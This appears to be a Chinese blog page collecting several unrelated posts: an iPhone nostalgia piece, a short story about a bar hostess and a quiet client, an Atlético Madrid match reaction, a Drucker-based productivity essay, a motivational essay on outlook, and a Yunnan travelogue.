    我们花了很久才意识到,手机不是爱情,不是生活,不是未来世界。它只不过是这一切的承载者。

    一切结束后,你们的聊天记录、照片,你们一起去过的地方、听过的歌的东西,变成数据,存在里面。

    10 年里,我们也变了。

    曾经为了打游戏从学校翻墙去网吧的少年,现在随时都能拿出手机来一局王者荣耀。

    曾经因为内存不足,把恋人的短信抄在笔记本上的人,现在把情话都截图存在相册里。

    那个为了买一台 iPhone 卖肾的少年,不知他现在怎么样了。

    十年一觉 iPhone 梦:你根本想不到当年他们为了买部手机会做什么

    读后思考:

    你用 iPhone 记录过什么人生?

  • 再见了,我不该爱的人

    再见了,我不该爱的人

    图片来自网络

    我以为我可以清清白白的爱你,但当我在阳光底下看着你的时候,我还是不能,我感觉我的身体,乃至我的灵魂都肮脏不已。

    我叫卫楠,我是一名陪酒女,除了陪酒以外,我也陪客人上床,但我不是谁的床都上,除了有钱以外,还要我愿意。这个世界到处充满性,用金钱做标码的,不一定就是最肮脏的。有时候客人选择我们,我们也在选择客人,有钱可以买到性,但不是每个人都可以买到我的。

    两个月以来他每个星期都会来大时代喝酒,有时候跟几个同事,有时候也带着客户,每次陪酒的女孩都在变,但陪他的都是我。

    “每次都是我陪你,你就不觉得腻吗?”我睡在床上的时候问他。

    “为什么会腻,女孩还不是都一样,”他一边抽着烟一边回答我,他除了话比较少,就是烟抽得特别多。除了第一次跟他出来时我能感受到他紧张的情绪,大部分的时候,他都比较沉默,只是抽烟,他连笑的时候,嘴角上扬的角度都很轻微,只是浅浅的微笑。

    “你是在暗示我下次要换人了吗”他接着说,又是那种浅浅的微笑。

    “是啊,不然每次都是我,我怕不好意思收你钱了,”我歪着头回答他,除了第一次他给过我现金以外,他每次都是发红包给我,而且从来不发整数,有时候我收到他的微信的时候,都是一排下来的红包。

    “为什么你不能直接就转账给我,非得一个一个红包的发,而且全都是188。”

    “不行吗,这样我感觉我们就不像是在交易。”

    “你是在无聊好吗,交易怎么啦,我才不觉得可耻。”

    “我就喜欢一个个188的发,我也不觉得无聊。”

    有时候面对他的时候真的有点无语,不知道是不是太熟悉了的缘故,每次陪他的时候我都会感觉不一样的轻松,起码在有他的床上我可以睡着,而不像在其他人床上时那样一直半睡半醒。

    两个月了我一直不知道他的名字,他也不知道我的全名,虽然每次我们都出去开房,但是我们都很默契,不会去看彼此的身份证,哪怕有机会看到的时候,我们也故意忽视他,有些不需要记住的东西,何必要去知道。

    这样的日子一直持续到我搬家的时候,是他帮我找的房子,跟他在同一个小区,是一个简单的一居一厅。

    “我们住一个小区合适吗?”那天晚上搬东西的时候我问他。

    “有什么不合适的,这样又近,还不用去酒店开房。”他一边帮我装床一边回答。

    “你不怕其他人看到吗?”

    “看到了怎么啦,我又没结婚,我的同事也不住这里。”

    “我要是白天碰到你,我是不是要跟你打招呼。”

    “随便你吧,我会跟你打招呼的。”他说这话的时候调侃的笑着。

    我依旧是白天睡觉晚上上班,住了两个多月我只在白天的楼下碰到过他一次,大部分的时候我们都只在晚上见面,他来大时代的次数比以前少了,但我们见面的次数多了,有时候他想见我的时候,就直接过来找我。他还是像以前那样喜欢发红包,有时候发一个,有时候发一排,我有时候不收,有时候收一个,有时候一排收下来。说实话,我已经不是很在乎他的钱了。

    “你能不能不要再给我发红包了,要不你直接给我包养费好了,”有时候我故意很认真的这样跟他说。

    “行啊,你说多少吧,”他一般都是一边笑着一边抽着烟说。

    “这么多,”我比了一个手掌给他。

    “5百块,行啊,我现在转给你。”

    “什么5百,10倍都不止,5万块。”

    “那以后你去我那里,你包养我,你每个月给我50就够了。”他有时候很安静,有时候说起话来也很无赖。

    “去死吧。”我只能扔他一个枕头。

    在这里住了那么久,每次都是他来我这里,但我从来没去过他住的地方。直到有天他微信上发给我。

    “今天晚上你别去上班了,上我这里打火锅吧。”

    我没有马上回他,过了一会他又发了一条过来。

    “不喝酒了,喝天地一号。”

    那晚我第一次去了他那里,他住的地方是个二居室,一个房间做卧室,一个房间做书房,书房里有很多的书,我去的时候桌面上还有一本翻到一半的海子诗选。

    “你平时还看书,怪不得看到你反应这么迟钝。”我笑他。

    “我这些书是用来摆的,不是看的,等一下借你几本回去慢慢研究。”他靠着房门,一边抽烟一边笑着说。

    “要不然我搬过来算了,这样借你书也方便点,不用走来走去,”我仍然跟他开着玩笑。

    “好啊,你明天搬过来。”

    他说这话的时候因为弥漫的烟雾我没看清楚他的脸,只是他的口气让我觉得好像他并不是在跟我开一个玩笑,有那么一刻我突然有股想冲上去抱着他亲吻他的冲动,但是我没有,有些没有结果的事,何必去做。

    那天晚上的火锅吃得有点温馨,他像对待女朋友一样帮我烫牛肉烫青菜,虽然大部分的时候我们只是安静的吃着东西不说话,但他看我时的那一种眼神让我感觉跟以往都不相同,以往我看他的眼神时感受到的是一片陌生的汪洋,但今晚却是一片熟悉而温暖的海水。那晚我第一次在他的床上没有睡着,我感觉自己的内心变得沉甸甸,我不敢转身去看他睡觉时的样子,因为我怕我控制不住我自己,所以,我只能背对着他。

    “如果什么时候你厌恶你现在的生活了,想看书了,你就搬过来,”这是第二天早上,我离去时他靠在书房门口对我说的话。

    接下来的几天里,我没有去上班,他也没有来找我,我一个人去了海边,赤着脚坐在沙滩上,任由海水冲刷着我的脚,我的腿,然后湿润我的衣服。我捧了一口海水喝了下去,喉咙里尽是苦涩的味道,海水是水,但却是不能喝的水,哪怕它漫入我的嘴里,我却不能吞下它。

    回去的那天晚上我又去了他家里,当他睡着的时候,我坐在床边的地板上,点着了一根他常抽的香烟,烟雾弥漫中有几滴眼泪顺着我的脸颊流下,巨大的烟味呛得我的内心都快破裂。

    当我推着我的行李箱,在他看不到的地方看着他远远的出现,然后远远的消失,我已经准备离开这个城市,去开启我的新生活。我不知道在我们之间存在的,除了肉体是不是也有所谓的爱情,但爱情对于我来说太过奢侈,如果是一段不会被祝福的爱情,为什么要让他开始。

    谢谢你,那个我不知道名字却又熟悉的人。

    谢谢那么多曾经有你睡在身旁的夜晚,让我不眠的夜可以安然入睡。

    谢谢这座有你的城市,让我的人生多了一段回忆和故事。

    愿另外一个城市的我和你,都再遇到一段新的爱情。

  • 西甲第3轮:瓦伦西亚vs马德里竞技

    写在前面:写不出故事就来写些别的吧,当然,正儿八经的比赛分析我是写不出来的,只是写写自己对比赛的感受。

    西甲第3轮:瓦伦西亚vs马德里竞技

    与小黄人一样的客场球衣

    昨晚22:15分马德里竞技客场踢瓦伦西亚,比赛已结束一个小时。为什么会想要写这场比赛呢?因为0:0踢平了,不开心,睡不着。

    在前三轮比赛中,马德里竞技1胜2平,获得5分,与我的预期不同,马竞新赛季的开始略有些坎坷,希望不是因为我毒奶。

    第一场比赛,马竞遇升班马赫罗纳,最终以2:2战平,各取1分。第二场马竞最终以5:1的结果战胜拉斯帕尔马斯,全取三分。

    第三场比赛便是昨晚这一场。

    马竞的首发阵容是:门将奥布拉克;后卫卢卡斯, 萨维奇,菲利佩,胡安弗兰;中卫科克,托马斯,卡拉斯科,萨乌尔;前锋科雷亚,比埃托。

    对于门将奥布爸爸,我是很放心的,后卫中看到菲利佩我也莫名的安心。但,这场比赛踢的很是艰难,看得很是揪心。

    比埃托错失了一个极好的进球机会,科克多次传球失败,后换下比埃托上场的托雷斯也失误很多……

    最让人难过的是托雷斯。

    并非因他表现不好难过,而是对英雄迟暮的难过。每逢他上场,球迷都会期盼着他进球,即使比赛胜负已定。

    不想承认,却不得不承认,我们的金童,老了。

    胡安弗兰在这场比赛中也表现出了老态,菲利佩比之胡安弗兰好一些,但也已是32岁的老将。

    这场球,看得啊,真是特别难过。

    瓦伦西亚在这场比赛中使用了马竞擅长的打法,防守反击,两球队之间多次攻防转换,这也确实压制住了马竞,导致马竞多次传球失误。防守方面,瓦伦西亚做的很好,使得马竞进攻的局面多次“乱成一锅粥”,门将反应极快,成功扑救多次。

    不得不说,瓦伦西亚是一支很难“对付”的球队,在这个赛季应该会大放光彩。(希望我没有毒奶他)

    我承认他厉害,但是,对于他队一球员撞飞托雷斯一事我怕会一直耿耿于怀。

    在比赛中身体碰撞之类很正常,我知道,但这是托雷斯,所以格外心疼。

    瓦伦西亚对马德里竞技的前一场比赛是皇马主场对阵莱万特,最终以1:1战平。

    皇马新赛季似乎同样不太顺利,与马竞一样,只得了5分。而在此之前,皇马7号C罗获红牌遭禁赛,马竞7号格列兹曼同样被禁赛,如果这场比赛我格能够上场,也许就不是这样的结局,当然,如果皇马C罗上场了,情况可能也会大不一样。

    被诅咒的“真·假”马德里。

    下一场西甲的比赛是马竞主场对阵马拉加,这将是马竞新球场万达大都会的首秀,格列兹曼的禁赛也将解除,应该会上场,但时间似乎晚了些,毕竟像昨晚那样七点十点的比赛实在不多。

    刚看到主教练西蒙尼赛后说,“我们在场上的表现还是不错的,只是遗憾的是,最终没有取得进球。”

    既然老大都这么说了,那,就不错好了!

    最后,表白马竞,爱你。

  • 简单3点,成为『卓有成效』的人

    简单3点,成为『卓有成效』的人

    1

    据说 70% – 80% 的人都认为自己比别人聪明,极少会有人觉得比别人笨,你可以想一想自己是不是这样,事实上『自视过高』基本是每个人都存在的认知偏差。但不管是真聪明还是假聪明,只要自认聪明,就免不了要犯聪明人的错误。

    设想一下,一个并不聪明的人,却犯了聪明人爱犯的错,就像穷人得了富贵病,下场搞不好会比聪明人惨得多。

    聪明人爱犯哪些错?今天我们只说一点,就是现代管理学之父彼得·德鲁克在《卓有成效的管理者》一书中提到的问题,他们太热爱自己的聪明了,却忘了聪明本身并不是成果。为什么很多聪明的人一辈子没有做出什么成就?用我们中国人的话讲,就是『眼高手低』。眼高手低的问题不是『眼高』,而是『手低』,『聪明人』在这里的问题就在于手太低了,拿不出成果。初入职场者往往如此。

    2

    几年之后在各种现实打击之下,有些人对自己的认识会『趋于理性』,终于发现自己其实就是普通人。这时候又会面对新的困惑,你踏踏实实累死累活的做事,却并没有拿得出手的成绩,职位可能也没有升高,你忍不住想跳槽,但简历里能写的全是你这几年干了什么活儿,说不明白自己做成了什么事,跳槽也拿不到好工资。总之,你发现自己『碌碌无为』,一年忙到头,收获寥寥,感觉就是在原地打转。

    其实既『碌碌』又『无为』,这应该是很多人的苦恼,一般这时还会顺带『无钱』,更是恼上加恼。

    3

    人总是分成两类的,有人这样,就一定有人不这样。

    德鲁克在《卓有成效的管理者》里描述了一种与『碌碌无为』相反的人:

    在每一个机构中,总会有一些极为有效的勤勉人士,当别人忙得晕头转向的时候(一般人常误以为忙碌就是有干劲的表现),那些有效的勤勉人士却像龟兔赛跑的童话一样,脚踏实地,一步一个脚印,率先到达目的地。

    在德鲁克的描述中,这种勤勉人士并没有做更多的事,而是做有效的事,让自己每一步都踏出一个脚印。他们的行为是在推动事情向着目标产生有益的进步,而不是瞎忙。这也使得他们获得与别人不同的结果——率先到达目的地

    『到达目的地』就是实现目标结果的意思,与碌碌无为的人相比,二者的区别在于,一个是为了实现目标结果而做事,一个是为了做事而做事。如果你觉得自己原地踏步,那往往是因为你做的事情没有让自己往目标前进,不管是公司的目标,还是你自己的个人目标,用管理学的话讲,你做事缺乏有效性。衡量标准就一个,即能不能向着目标产生有益结果。

    个体户和创业者很容易养成从『有效性』出发的思考方式,因为他们每天都要直面经营中的现实压力,做的事情有没有效果,是直接影响生死存亡的大事,所以他们必须关注结果是否有效。

    但毕竟不是每个人都会去创业,普通人如果想做出更好的成绩,该如何提高自己工作的有效性呢?我们可以从德鲁克的书中获得一些对每个人都有用的建议。

    一、有效利用时间

    要做到卓有成效,首先要做的第一步,是记录好时间的使用情况。分析时间记录,及时消除不必要的时间浪费。我们能做多少事,不取决于我们花了多少时间,取决于我们花了多少有效时间,也就是真正花在重要事情上的时间。

    工作中总有许多杂事需要处理,或是没必要的会议需要你参加,但不管是什么事,如果这件事情不能产生效益,那么就是浪费时间,就是无效或低效的。这都要想办法尽量避免。

    二、我要贡献什么价值

    如果别人问,『你在公司是做什么的?』,你会怎么回答?

    一种回答是『我负责会计业务』;另一种回答是『我的任务,是向我们的经理提供他所需要的资料,使他能做出正确的决策』。

    一种回答是,『我负责销售部门』;另一种回答是『我负责研究本公司的顾客将来需要什么产品』。

    区别在哪里?一个着眼于具体做什么事,另一个着眼于我提供给组织什么样的价值,也就是着眼于自己的贡献。如果不清楚自己该给组织贡献什么,你就不知道自己最该做的事情是什么,又怎么开展卓有成效的工作呢?

    所以我们每个人都应该有自省意识,想一想组织为什么聘用我,我应该对组织有什么贡献?着眼于贡献,我们重视的就不仅是方法,而是目标和结果,对组织而言,工作的有效性就体现在结果的有效性。

    三、处理真正有生产性的工作

    要有效利用自己的才能,最好的办法莫过于集中所有才能于一件要务上。杂技演员可以双手同时抛七八个球,但即使最优秀的演员也很难坚持十分钟。当我们处于『单任务处理』状态才是最高效的,任务太多就会『卡顿』。

    工作一般分成两种,一种是生产性的,它是重要的产生价值的工作,一种是非生产性的,主要是没有技术含量的常规性工作。

    所以如果你只能做一件事,那肯定是做最重要的那件。根据人的特性,我们必须做到要事优先,一次只做好一件事。要知道并非每一件事情都对我们有同等价值,根据二八原则,我们80%的工作产出,可能都是20%的工作决定的,所以为它们预留出整块时间优先处理,是加快工作速度的最佳方法。


    实际上彼得·德鲁克的这些建议本来是针对管理者的,但这里的管理者并不是职位的概念,每个人都或多或少的充当管理者的角色,至少也是管理着自己,所以每个人都应该提高自己工作的有效性。

    同时,『有效性』也不应该只是管理学的概念,它可以应用在我们生活的方方面面,不光是有无效工作,还有无效学习,无效努力,无效投入,无效选择。可能是无效,也可能是低效,总之,不够『有效』就是对我们人生的某种浪费。当我们做决策的时候,不妨多想一想,『我想达成什么样的目标?』,『我这样做能产生什么样的结果?』,这样的思考多一点,就可以杜绝很多瞎忙。

    每个人的时间和精力都是有限的,付出就应该产生最好的效果,毕竟我们已经那么辛苦,劳而无功可就太不划算了。

  • 你和别人就差在两个字的距离,那就是格局。

    文|繁花豆

    / 01 /

    在公交车上,偶然听到邻座两个女生的对话。

    其中一个说:

    “这两天被薛之谦的热搜刷爆了,这样的男人真的好帅好帅啊,羡慕死我了。”

    另一个说:

    “要是以后我能找到像他这样有钱又有才华的男朋友,我一定回去给我家祖坟烧高香,三天激动到不想睡。”

    我听后忍不住想笑,转头看了她们一眼,发现两个穿着高中校服的女生一边玩着王者荣耀一边聊得津津有味。

    我们进入了一个全民娱乐的时代,明星的风吹草动成了我们每天的谈资和乐趣。追星的现象并不奇怪,只是现在的小女孩做着这么不现实的幻想,让人担心。从小就想要依靠别人,不会自食其力,这样的格局只会随年龄的增长越发缩小。

    女孩子啊,不应该总把希望寄托为别人身上,什么时候你才能认真的看看自己。

    有人说,你的时间花在哪,你就会成为什么样的人。格局高的人,不会花太多时间在娱乐上。

    我深以为然。

    / 02 /

    中国著名作家杨绛先生曾给一个向她请求解惑的年轻人写信说,你的问题就在于读书太少,想得太多。

    而有有些人的问题就在于,自己不想行动,还设法阻挡别人的行动。

    我的朋友琳琳本身是一个挺好学上进的姑娘,去年报考英语四级考试,她每天早上都早起床一个小时,去操场背单词和作文以及句子。

    没想到,过了两天她回到宿舍就开始发现不对劲,一进门,就被舍友说“哟,我们的大学霸回来了!”

    其他人默契的转头哼嗤一笑,而后各干各的事。留下她一个人尴尬的不知所措,明明她才开始两天啊。

    到了第三天,终于有人抗议,说“你起得太早了,影响我们休息。你能不能别起那么早?”

    “就是就是,太吵了!”其中一个附和道。

    “可我已经很轻很轻了……”朋友委屈的泪水在眼眶里直打转。

    后来,她被迫换宿舍。曾经的那些室友,追剧、刷博、聊八卦……无不热闹,我庆幸的是朋友终于脱离了那一群:看不惯别人努力,自己自甘堕落颓废的人。

    眼界和格局不一样的人,即使有再多的缘分也不可能成为朋友。

    / 03 /

    你的问题,就在于思考太少,本末倒置。我想起一个小故事,一个老伯伯费力的抗起一把锯子在树林里锯树,但过了一上午才锯了一棵完整的。有人路过,忍不住问:

    “你为什么不把锯子磨锋利一点才去锯树呢?”

    他却回答:“我没空,锯树都来不及,哪有时间磨锯子!”

    俗话说,“磨刀不误砍柴工”,说的就是这样,这像不像舍本求末的你。

    我们每天都有大大小小的事需要去做,总觉得时间不够用。而时间到底去哪儿了呢?

    你总是忍不住拿起手机先刷刷朋友圈,你说刷一下就去看书,而一刷就是一上午却混然不觉。书没看成,一天时间过了大半。

    你总是感叹别人旅行的生活如此丰富,到你自己时,却说着没空做攻略,还是算了算了。

    你有空聊娱乐八卦,却没空管理一下横向发展的身材。

    格局越低的人,越喜欢花时间在不重要不紧急的事上。

    有句古话叫“工欲善其事,必先利其器”,只有将时间花在磨练自己,从身体、精神、心智到待人处事四个层面,才能增进个人产能,累积其他修养的本钱。

    有人说:你天天这么忙,才是你做不成大事的原因。你就是看起来很努力,实际上啥也没干成。

    / 04 /

    你的问题就在于时间浪费太多,却没有找到自己最重要的事。什么时候开始,你的格局开始越来越低?

    当你看综艺节目越来越兴起,每天浑浑噩噩的时候;当你评价别人越来越多,任由自己放纵的时候;当你时间管理越来越差,每天都不知道自己干了什么的时候……

    这个时候,你的格局开始出现危机。把握不了时间,便是丧失成长的一大法宝。

    罗振宇说,未来,在时间这个战场上,有两门生意会特别值钱。
    第一,就是帮别人省时间。第二,就是帮别人把省下来的时间浪费在那些美好的事物上。

    能够掌控时间的人,才能掌控自己的一生。要在一定时间内做对自己最重要的事,才能让格局越发开阔。

    / 05 /

    你的问题就在于关注别人太多,而关注自身太少。这个时代,我们通过各种社交软件去窥探别人的生活、别人的思想、别人的当下,然后与自己作比较。

    前两天老妈和我说我同学的姐姐考取了博士,现在公费去美国学习一年。而我同学,目前在上海理工大学已准备考研。

    我顿时心声感叹,“为什么她们的人生就像开了挂一样?而我还什么都没确定。”

    躺在床上刷朋友圈,看到了老同学的旅游照片,羡慕至极:“羡慕她有一个有钱的老爸老妈,富二代果然不一样,而我只能眼巴巴的看看照片。”

    我们整天喜欢关注别人,试图去找理由让自己别那么丧。总觉得别人所取的成功一定是借助别的什么原因,却从没想过去提升自己也可以过得那么好。

    比起时刻注视着他人,多关注自身的成长,尽自己的一切努力让生活少点遗憾,才能过上快意人生。当一个人把他的精力和时间从关注外界转向关注自身的成长时,才能拥有更高的格局。

    / 06 /

    你的问题就在于心胸太狭窄,见不得年纪小的人比你还懂事。前两天回老家吃饭,和爷爷还有伯父一家人一起,本来是好好的。

    今天一个阿姨说,我伯母对于我的话有些生气,我才恍然:原来她这两天都不往我家门口经过了是因为那晚我说的话。

    那一晚,我们正吃着饭,我堂哥的孩子今年3岁了,还不会自己动手吃饭也不爱说话更不会理人。我便问伯母,“我哥这么久打了电话回来吗?他知道小斌斌去上学了吗?”

    她说“没有。”

    我无奈的表示“都是他的孩子,他怎么都不关心一下呢。”

    这一下,沉默了。

    只是没想到她因为这一句话生气了,而我却一直不知道她生气,她觉得我年纪小,没资格说我哥哥。有些人总仗着自己年龄比你大,你就要在各方面比我弱,见不得你比我懂事、不想你比我更优秀,这种狭隘的观点可笑至极。

    好在,格局和年龄一点儿关系都没有,我们做好自己,该干啥干啥,只是别为了某些人也退掉了自己的格局。

    这座城市,一半人在拼命,一半人在认命;一半人在抢时间,一半人在耗时间;一半人在燃烧青春,一半人在虚度青春。

    你愿意做哪一半的人?

    共勉。

    — END —

  • 彩云之南——泸沽湖

    以前我以为,夏天晴天的天空就已经够美了。来了云南以后,我才知道,天空还可以这么蓝,云朵可以这么白。

    彩云之南——泸沽湖

    丽江古城著名地标大水车

    第一天下飞机后,接车的司机说晚上的古城值得一去。果然,夜晚的古城,灯火通明,各种小铺鳞次栉比。各种小吃、手工艺品让人忍不住买买买,还好忍住了。现在想想,并没有什么特别值得购买,鲜花饼还是挺好吃的,价位在一元到三元一个不等,吃过后发现还是三元的嘉华最好吃。而且估计这种饼现烤好吃,如果让快递寄回家的那种估计就没那么香了。

    彩云之南——泸沽湖

    吃菌的地方,觉得门很有意境

    彩云之南——泸沽湖

    有种群山环绕的感觉

    在云南没有高楼大厦,从酒店的窗户向外看,可以看见远处的群山。

    彩云之南——泸沽湖

    金沙江?

    第二天出发去泸沽湖,单程五个多小时,这还是新修了一条路的情况下,据说以前要七八个小时。一路上都是盘山公路,有点惊险。如果碰上雨天,有可能遇到塌方。

    彩云之南——泸沽湖

    阴天的泸沽湖

    到达泸沽湖的时候,天空正飘着小雨。所以从观景台眺望泸沽湖就是这样的景色。有点小失望。

    彩云之南——泸沽湖

    游湖

    坐上摩梭人的船。摩梭人,最后一个母系氏族,以走婚文化文明。不了解的时候觉得,这样的走婚太过轻率,听了当地人讲了之后,才知道他们才是一生一世一双人。有时候文化真的很神奇,也许正是文化和美景的互相渲染,才觉得不可思议吧。不过游船的时候,问过划船的阿姐,他们现在结婚也要去办结婚证,因为买房子的时候要用。哈哈。

    彩云之南——泸沽湖

    湖水超级清澈

    彩云之南——泸沽湖

    随手一拍就是美景

    在泸沽湖睡了一晚,这里温差超级大,第二天早上要穿毛衣。

    泸沽湖的第二天是个超级好的晴天。终于知道什么叫天水一色了。

    前方高能多图预警

    彩云之南——泸沽湖

    彩云之南——泸沽湖

    日出

    彩云之南——泸沽湖

    湖光山色

    彩云之南——泸沽湖

    彩云之南——泸沽湖

    天蓝的不可思议,回来后,再也见不到这么蓝的蓝天了。

    彩云之南——泸沽湖

    以上,都是完全没有修图,破手机拍摄!

    彩云之南——泸沽湖

    拉市海

    云南的阴天紫外线也很强烈。在这里,你总有种离天空很近的感觉。

    彩云之南——泸沽湖

    白天的古城

    最后一天回到丽江,白天的古城依然人山人海。但是总觉得商业气息很浓,没有夜晚的古城美。

    云南的空气真的很好,很清新。几天的旅程很赶,只能怪自己没几天假期。不过云南是一个值得去第二次的地方。毕竟我还有那么多景点没去。